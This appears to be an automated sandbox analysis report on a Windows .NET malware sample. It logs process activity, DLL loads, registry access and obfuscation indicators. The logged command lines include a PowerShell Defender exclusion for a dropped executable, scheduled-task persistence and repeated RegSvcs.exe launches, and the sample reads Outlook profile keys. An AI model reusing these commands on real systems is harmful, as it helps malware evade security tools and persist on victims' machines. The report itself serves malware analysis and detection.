Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\joUXSCpr" /XML "C:\Users\user\AppData\Local\Temp\tmp1263.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\joUXSCpr.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\joUXSCpr" /XML "C:\Users\user\AppData\Local\Temp\tmp6AB.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\joUXSCpr" /XML "C:\Users\user\AppData\Local\Temp\tmp1263.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior

Source: C:\Users\user\Desktop\SMBKT-20242005.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\SMBKT-20242005.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: SMBKT-20242005.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SMBKT-20242005.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains potential unpacker

Source: SMBKT-20242005.exe, FrmArticulos.cs	.Net Code: InitializeComponent contains xor as well as GetObject
Source: SMBKT-20242005.exe, FrmArticulos.cs	.Net Code: InitializeComponent
Source: 1.2.SMBKT-20242005.exe.3d79970.3.raw.unpack, LoginForm.cs	.Net Code: _200E_202E_200D_206C_202E_206B_200C_200E_206F_206F_202A_206E_202D_206B_206F_202A_202A_206C_206C_200C_206B_206E_202A_206D_200D_202B_200F_206A_202E_200B_202A_202E_202B_202C_200C_202A_206C_202A_206B_200E_202E System.Reflection.Assembly.Load(byte[])
Source: 1.2.SMBKT-20242005.exe.4019a50.6.raw.unpack, MOpw42XW44bQchxYdQ.cs	.Net Code: qD0cfWrQG7lR456JhKH System.Reflection.Assembly.Load(byte[])
Source: 1.2.SMBKT-20242005.exe.76c0000.11.raw.unpack, MOpw42XW44bQchxYdQ.cs	.Net Code: qD0cfWrQG7lR456JhKH System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Code function: 1_2_0137F568 pushfd ; iretd	1_2_0137F569
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01490C6D push edi; retf	8_2_01490C7A
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_02A3F568 pushfd ; iretd	9_2_02A3F569
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CB0007 pushfd ; retf	9_2_04CB001E
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CB5E8F push edi; retf	9_2_04CB5E92
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CB5E83 push ebp; retf	9_2_04CB5E86
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CB5E87 push ebp; retf	9_2_04CB5E8A
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CB5E7F push esp; retf	9_2_04CB5E82
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CB5E73 push ebx; retf	9_2_04CB5E76
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Code function: 9_2_04CB9BE6 pushfd ; retf	9_2_04CB9BE7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_03000C6D push edi; retf	15_2_03000C7A

Source: SMBKT-20242005.exe	Static PE information: section name: .text entropy: 7.957426352792891
Source: joUXSCpr.exe.1.dr	Static PE information: section name: .text entropy: 7.957426352792891

Source: 1.2.SMBKT-20242005.exe.4019a50.6.raw.unpack, xvFhJGQTqsI1UuxytV.cs	High entropy of concatenated method names: 'VkNrlPDK5i', 'jLrrEgJGvc', 'corrUHH8J8', 'd2rrquwVO1', 'Pn7rnkJZHM', 'p8ur5Iftj7', 'ygQrmKHjkG', 'e4cMt59hBJ', 'urEMoqKJOL', 'si2My3BkFw'
Source: 1.2.SMBKT-20242005.exe.4019a50.6.raw.unpack, RB2hbuowLAD77RFAjt.cs	High entropy of concatenated method names: 'mf8MqMUB1J', 'QkcMn90FVG', 'xOOMAuY7MR', 'Ir5M5xNZjb', 'FSLMmH35Us', 'H8sMKJX07Q', 's4XMX6RJ2A', 'jYlMe5jAGU', 'TOFMReMxh9', 'W3fMcvhUk6'
Source: 1.2.SMBKT-20242005.exe.4019a50.6.raw.unpack, NBpKsHTbyWOajjPZR8.cs	High entropy of concatenated method names: 'PiiK3mEMGX', 'Mi5KjrqiFA', 'sGbKSQyovl', 'EiDKg1m6Ml', 'KFJKLYvAxX', 'mPBKx2wT1r', 'QVBKZSR4jF', 'xouKCvuBrb', 'lZtKPcCc25', 'CC9K7a5mBJ'
Source: 1.2.SMBKT-20242005.exe.4019a50.6.raw.unpack, ce1ejpw8LdIwajTb0f.cs	High entropy of concatenated method names: 'dcoNRlivRB', 'o7uNc9eLkG', 'ToString', 'C7FNqk4FLK', 'WjHNnuifyq', 'nf1NAY9Tla', 'wohN58uwda', 'MH3NmuBRaI', 'uGXNKWS4Tk', 'slENXtKK2o'
Source: 1.2.SMBKT-20242005.exe.4019a50.6.raw.unpack, IbTTDEyVr6AL8S6lDj.cs	High entropy of concatenated method names: 'x4fMVWiUNJ', 'RL7MBnFF8e', 'Yu1MIlBVEe', 'HW9MF7yp6q', 'iJJMJxXu0e', 's3EMOrPVpI', 'Next', 'Next', 'Next', 'NextBytes'
Source: 1.2.SMBKT-20242005.exe.4019a50.6.raw.unpack, zMYnEu9ZCOSuCGEhBb.cs	High entropy of concatenated method names: 'K7aSrk4my', 'AWQgdtPfL', 'dtaxU9b89', 'OYsZjWVsR', 'W5SPdCaDV', 'H0B7JlmlQ', 'zrvY1MUoaG5sdPSG2h', 'utq5JB7wsti1tLt06D', 'LHMMsshof', 'q8LG1eoDS'
Source: 1.2.SMBKT-20242005.exe.4019a50.6.raw.unpack, NJs0YFlEKbWeXGiHvfs.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'BLtGJJ0OeX', 'hXxGkVCEU8', 'DmWGfp9eZ7', 'qnRGwR2OPd', 'EXLGHcxSl6', 'goPG8e8pPV', 'AxDGtnboLG'
Source: 1.2.SMBKT-20242005.exe.4019a50.6.raw.unpack, di2lf8dRSFuX6wdQ7h.cs	High entropy of concatenated method names: 'sIrsCy7tAE', 'uhgsPLtIuv', 'ClgsVCZ97H', 'fVnsBPGcll', 'X5vsFZ0rJo', 'mbTsO2stoS', 'jl0sW5ep78', 'hJus2odWt5', 'B5YsaHVQjN', 'WN1sYZBtZb'
Source: 1.2.SMBKT-20242005.exe.4019a50.6.raw.unpack, OxhSPylpYJmsvdgICHu.cs	High entropy of concatenated method names: 'JV1r3NiHgO', 'rLfrjIHUDH', 'jD6rSGTs0B', 'fOErg3cG1d', 'yMOrLEYMBY', 'LkKrxqviJD', 'LqdrZ0Vp4o', 'GynrCQ6c2s', 'DlrrPKegMM', 'CRQr7rIo5y'
Source: 1.2.SMBKT-20242005.exe.4019a50.6.raw.unpack, MOpw42XW44bQchxYdQ.cs	High entropy of concatenated method names: 'ohZE0kHFqm', 'eVvEqJOhNO', 'IcnEn1EjOe', 'pnAEAhnxpm', 'bRdE5daMAw', 'PXsEmPCQOZ', 'bLIEK20mV5', 'ON4EXTPAWQ', 'WXhEe4hYE7', 'K7VERjKIoE'
Source: 1.2.SMBKT-20242005.exe.4019a50.6.raw.unpack, BO0nenn1KpnpOn007K.cs	High entropy of concatenated method names: 'Dispose', 'zbBly9tI9M', 'Jq99BpeD4U', 'suoKKh3DfW', 'nkBlQ2hbuw', 'BADlz77RFA', 'ProcessDialogKey', 'ytI9pbTTDE', 'Gr69lAL8S6', 'bDj993vFhJ'
Source: 1.2.SMBKT-20242005.exe.4019a50.6.raw.unpack, JAGbyhU8trpxhEj6kj.cs	High entropy of concatenated method names: 'XrklKVSMvv', 'MGPlXKFxIW', 'mr8lRERwiG', 'zsrlc12d1Z', 'Cwtlbn30MN', 'kW1l67tx8g', 'TwapTPZFOtcSeT5h7V', 'RT7EmheVIcGalSnnx8', 'pLnllU3NK6', 'dAQlEDS29x'
Source: 1.2.SMBKT-20242005.exe.4019a50.6.raw.unpack, McTFqUJVJBW9WkAeJ8.cs	High entropy of concatenated method names: 'nRZbai7utf', 'fZlbhKR8NK', 'LEfbJDYxHK', 'FnGbk62I3n', 'u5tbBVjkev', 'rjKbIghQ9c', 'jnXbFqnSxP', 'gZ3bOrGxPQ', 'M7eb4f5ALs', 'cxmbW1UrSC'
Source: 1.2.SMBKT-20242005.exe.4019a50.6.raw.unpack, RVSMvvC2GPKFxIWs0H.cs	High entropy of concatenated method names: 'OutnJusoe2', 'CkDnkApeRV', 'kROnfV6bC0', 'g7dnwNluSh', 'hQRnH8dqYq', 'n3en8Amxsu', 'qgNntathyO', 'Ftmno54rSC', 'pilnyA4ohL', 'NXmnQkZyOP'
Source: 1.2.SMBKT-20242005.exe.4019a50.6.raw.unpack, eMNXW1V7tx8gMVO5Nm.cs	High entropy of concatenated method names: 'KJOm0YSZ94', 'jpZmnovuyi', 'uEbm5jRCbk', 'isJmK3hS8J', 'iODmXgtOkR', 'Fwc5HO4La9', 'CZG58grc5n', 'eTg5tvE7nn', 'oav5ooVngJ', 'FZj5yKOB1D'
Source: 1.2.SMBKT-20242005.exe.4019a50.6.raw.unpack, j8T3WcPr8ERwiGSsr1.cs	High entropy of concatenated method names: 'R4qAg6unTC', 'OfMAxGJNuB', 'wITAC75S36', 'hVkAPjv7mI', 'TMTAbuYYPM', 'O5MA6bgph4', 'WGfANVmibh', 'RkfAMAZL0g', 'hSKArKKmKo', 'XlFAGW5vKV'
Source: 1.2.SMBKT-20242005.exe.4019a50.6.raw.unpack, GdfDcr8tpxZ8CIFGQi.cs	High entropy of concatenated method names: 'dAuNo8cajN', 'gX6NQmbrx9', 'Nr0Mpj0Rqb', 'x2JMl00UEB', 'yysNYF1L8h', 'BneNh2LD2w', 'MC0Nd2MeS7', 'iQkNJ9GHkw', 'aIjNkoLyl3', 'FIrNf0MYEQ'
Source: 1.2.SMBKT-20242005.exe.4019a50.6.raw.unpack, hZF5sRzoC3nsU4Lu7S.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'uB7rsC5v4G', 't7crbuvK84', 'Ds5r69Mgp9', 'tBjrNFTDQe', 'XPRrMWWLQf', 'qW4rrUDjPV', 'XRrrGfR5lX'
Source: 1.2.SMBKT-20242005.exe.4019a50.6.raw.unpack, ngOt4sfBWRhu2ZJStX.cs	High entropy of concatenated method names: 'ToString', 'Dvu6YTklsH', 'rAe6BmrqGQ', 'N946IPCfrh', 'CZo6F2yWna', 'Jjs6OiooHn', 'Sl86450h33', 'QDa6W9TUKn', 'TLE62al4jN', 'ooN6TNZlu8'
Source: 1.2.SMBKT-20242005.exe.4019a50.6.raw.unpack, DZq3j4WtyiAntFwYx5.cs	High entropy of concatenated method names: 'mTZKqBG8W7', 'd4ZKAWlwe8', 'lMlKm7jhde', 'CxAmQyj78x', 'cp1mzZLAqh', 'gR5KpV1N30', 'DvpKlKuFvW', 'FXHK9NQiat', 'oWsKEKmCZI', 'v1lKUxQmjD'
Source: 1.2.SMBKT-20242005.exe.76c0000.11.raw.unpack, xvFhJGQTqsI1UuxytV.cs	High entropy of concatenated method names: 'VkNrlPDK5i', 'jLrrEgJGvc', 'corrUHH8J8', 'd2rrquwVO1', 'Pn7rnkJZHM', 'p8ur5Iftj7', 'ygQrmKHjkG', 'e4cMt59hBJ', 'urEMoqKJOL', 'si2My3BkFw'
Source: 1.2.SMBKT-20242005.exe.76c0000.11.raw.unpack, RB2hbuowLAD77RFAjt.cs	High entropy of concatenated method names: 'mf8MqMUB1J', 'QkcMn90FVG', 'xOOMAuY7MR', 'Ir5M5xNZjb', 'FSLMmH35Us', 'H8sMKJX07Q', 's4XMX6RJ2A', 'jYlMe5jAGU', 'TOFMReMxh9', 'W3fMcvhUk6'
Source: 1.2.SMBKT-20242005.exe.76c0000.11.raw.unpack, NBpKsHTbyWOajjPZR8.cs	High entropy of concatenated method names: 'PiiK3mEMGX', 'Mi5KjrqiFA', 'sGbKSQyovl', 'EiDKg1m6Ml', 'KFJKLYvAxX', 'mPBKx2wT1r', 'QVBKZSR4jF', 'xouKCvuBrb', 'lZtKPcCc25', 'CC9K7a5mBJ'
